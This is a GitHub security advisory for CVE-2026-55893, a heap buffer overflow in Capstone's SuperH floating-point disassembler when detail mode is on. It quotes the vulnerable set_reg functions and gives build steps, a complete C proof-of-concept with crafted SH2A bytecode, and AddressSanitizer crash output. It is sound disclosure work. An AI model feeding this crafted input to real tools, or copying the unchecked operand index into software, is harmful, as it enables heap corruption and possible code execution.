Skip to content

Capstone SH disassembler `set_reg_n` heap buffer overflow via crafted SH2A FPU bytecode

Moderate
Rot127 published GHSA-3hpv-wr3j-rxwh Jun 18, 2026

Package

No package listed

Affected versions

<= v6.0.0-Alpha9

Patched versions

None

Description

Summary

Capstone's SuperH (SH) floating-point instruction decoders (opFADD, opFMUL, opFSUB, etc.) append decoded operands via set_reg() / set_reg_n() without checking the operand count against the fixed-size operands[] array. On a Capstone handle opened for SH2A or SH4A with FPU mode (CS_MODE_SHFPU) and detail mode enabled (CS_OPT_DETAIL), disassembling crafted bytecode via cs_disasm_iter() or cs_disasm() causes a 4-byte heap buffer overflow write past the end of a 176-byte sh_info allocation.

The demonstrated impact is heap corruption. Depending on heap layout, this is potentially exploitable for arbitrary code execution in applications that process untrusted machine code with Capstone.

Details

SH FPU instruction decoders call set_reg() to record decoded operands. set_reg() delegates to set_reg_n() using info->op.op_count as the array index, then increments the count unconditionally. Neither function validates the index against the fixed-size operands[] array:

  • arch/SH/SHDisassembler.c:34-46:
static void set_reg_n(sh_info *info, sh_reg reg, int pos,
                      enum direction rw, cs_detail *detail)
{
    info->op.operands[pos].type = SH_OP_REG;
    info->op.operands[pos].reg = reg;
    regs_rw(detail, rw, reg);
}

static void set_reg(sh_info *info, sh_reg reg, enum direction rw,
                    cs_detail *detail)
{
    set_reg_n(info, reg, info->op.op_count, rw, detail);
    info->op.op_count++;
}

These are called from the opFRR macro, which expands to opFADD, opFMUL, opFSUB, opFDIV, etc.:

  • arch/SH/SHDisassembler.c:1270-1278:
#define opFRR(insn)                                              \
static bool op##insn(uint16_t code, uint64_t address, MCInst *MI,\
                     cs_mode mode, sh_info *info, cs_detail *detail) \
{                                                                \
    int m = (code >> 4) & 0x0f;                                  \
    int n = (code >> 8) & 0x0f;                                  \
    MCInst_setOpcode(MI, SH_INS_##insn);                         \
    set_reg(info, SH_REG_FR0 + m, read, detail);                 \
    set_reg(info, SH_REG_FR0 + n, read, detail);                 \
    return MCDisassembler_Success;                                \
}

When cs_disasm_iter() processes a crafted instruction stream containing repeated SH FPU opcodes (e.g. 0x8d8d), each decoded instruction appends operands without resetting op_count. The operand count exceeds the bounds of the operands[] array (part of the 176-byte sh_info heap allocation from SH_global_init), resulting in a heap buffer overflow write.

The sh_info structure is allocated once in SH_global_init() (arch/SH/SHModule.c:15) during cs_open() and reused across all cs_disasm_iter() calls. The op_count field is not reset between decoded instructions when the operand index exceeds the array bounds.

PoC

  • Repository: https://github.com/capstone-engine/capstone.git
  • Version tested: Capstone 5.0.6 (CS_API_MAJOR=5, CS_API_MINOR=0, CS_VERSION_EXTRA=6)
  • Platform: Linux x86_64, built with ASan via OSS-Fuzz (gcr.io/oss-fuzz/capstone-5_0_6-4_1_hum1)

Build a sanitizer-enabled static library with SH support:

cmake -S . -B build-sh-vuln \
  -DCMAKE_BUILD_TYPE=Debug \
  -DCAPSTONE_ARCHITECTURE_DEFAULT=OFF \
  -DCAPSTONE_SH_SUPPORT=ON \
  -DCAPSTONE_BUILD_CSTOOL=OFF \
  -DCAPSTONE_BUILD_LEGACY_TESTS=OFF \
  -DCAPSTONE_BUILD_SHARED_LIBS=OFF \
  -DCAPSTONE_BUILD_STATIC_LIBS=ON \
  -DENABLE_ASAN=ON
cmake --build build-sh-vuln --target capstone_static -j$(nproc)

Compile and run the submitted PoC:

cc -g -O0 -fsanitize=address,undefined -I include \
  sh_heap_bof_poc.c build-sh-vuln/libcapstone.a \
  -o sh_heap_bof_poc
./sh_heap_bof_poc

Minimal reproducer source (sh_heap_bof_poc.c)

#include <capstone/capstone.h>
#include <stdio.h>
#include <stdlib.h>

int main(void) {
    static const uint8_t code[] = {
        0x1e, 0xff, 0x15, 0x02, 0x03, 0x73, 0x7e, 0x77,
        0x00, 0x8d, 0x66, 0x66, 0x66, 0x66, 0xa0, 0x99,
        0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x8d,
        0x71, 0x35, 0x8d, 0x8d, 0x49, 0x3e, 0xff, 0x00,
        0x00, 0x00, 0x05, 0x90, 0x8d, 0x8d, 0x8d, 0x8d,
        0x8d, 0x8d, 0x8d, 0x8d, 0x8d, 0x8d, 0x8d, 0x8d,
        0x8d, 0x8d, 0x8d, 0x8d, 0x8d, 0x8d, 0x8d, 0x8d,
        0x8d, 0x8d, 0x8d, 0x78, 0x8d, 0x8d, 0x8d, 0x8d,
        0x8d, 0x8d, 0x8d, 0x8d, 0x8d, 0x8d, 0x8d, 0x2f,
        0x8d, 0x8d, 0x8d, 0x8d, 0x8d, 0x8d, 0x8d, 0x8d,
        0xb9, 0x4e
    };

    csh handle;
    if (cs_open(CS_ARCH_SH, CS_MODE_SH2A | CS_MODE_SHFPU,
                &handle) != CS_ERR_OK)
        return 1;
    cs_option(handle, CS_OPT_DETAIL, CS_OPT_ON);

    cs_insn *insn = cs_malloc(handle);
    const uint8_t *p = code;
    size_t rem = sizeof(code);
    uint64_t addr = 0;

    while (rem > 0) {
        if (!cs_disasm_iter(handle, &p, &rem, &addr, insn))
            break;
    }

    cs_free(insn, 1);
    cs_close(&handle);
    return 0;
}

Observed output:

=================================================================
==1==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7c8637ce00f0
    at pc 0x565039754eb3 bp 0x7ffd4a4f61d0 sp 0x7ffd4a4f61c8
WRITE of size 4 at 0x7c8637ce00f0 thread T0
    #0 0x565039754eb2 in set_reg_n /src/capstone/arch/SH/SHDisassembler.c:37:30
    #1 0x565039754eb2 in set_reg /src/capstone/arch/SH/SHDisassembler.c:45:2
    #2 0x565039754eb2 in opFADD /src/capstone/arch/SH/SHDisassembler.c:1280:1
    #3 0x565039758ae9 in sh_disassemble /src/capstone/arch/SH/SHDisassembler.c:2167:10
    #4 0x565039758ae9 in SH_getInstruction /src/capstone/arch/SH/SHDisassembler.c:2190:6
    #5 0x565039521d2e in cs_disasm_iter /src/capstone/cs.c:1139:6
    #6 0x56503951e8b8 in LLVMFuzzerTestOneInput suite/fuzz/fuzz_disasm.c:137:13
    #7 0x5650393bbdfd in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*,
       unsigned long) /src/llvm-project/compiler-rt/lib/fuzzer/FuzzerLoop.cpp:619:13

0x7c8637ce00f0 is located 0 bytes after 176-byte region
    [0x7c8637ce0040,0x7c8637ce00f0)
allocated by thread T0 here:
    #0 0x565039489754 in malloc
       /src/llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:67:3
    #1 0x5650394e71fe in SH_global_init /src/capstone/arch/SH/SHModule.c:15:9
    #2 0x5650394cdec8 in cs_open /src/capstone/cs.c:497:9

SUMMARY: AddressSanitizer: heap-buffer-overflow
    /src/capstone/arch/SH/SHDisassembler.c:37:30 in set_reg_n
==1==ABORTING

Impact

An attacker who can cause an application to disassemble untrusted SH2A/SH4A bytecode via cs_disasm() or cs_disasm_iter() with detail mode enabled can corrupt the heap. The 4-byte write past the end of the 176-byte sh_info allocation can overwrite adjacent heap metadata or objects. Depending on heap layout, this is potentially exploitable for arbitrary code execution in applications that process untrusted machine code with Capstone (e.g., disassemblers, reverse engineering tools, binary analysis frameworks, malware sandboxes).

Credits

Luigino Camastra,Dimitrijs Trizna, Zee Sheng, Guido Vranken by Aisle Research 

Severity

Moderate

CVE ID

CVE-2026-55893

Weaknesses

Heap-based Buffer Overflow

A heap overflow condition is a buffer overflow, where the buffer that can be overwritten is allocated in the heap portion of memory, generally meaning that the buffer was allocated using a routine such as malloc(). Learn more on MITRE.

Credits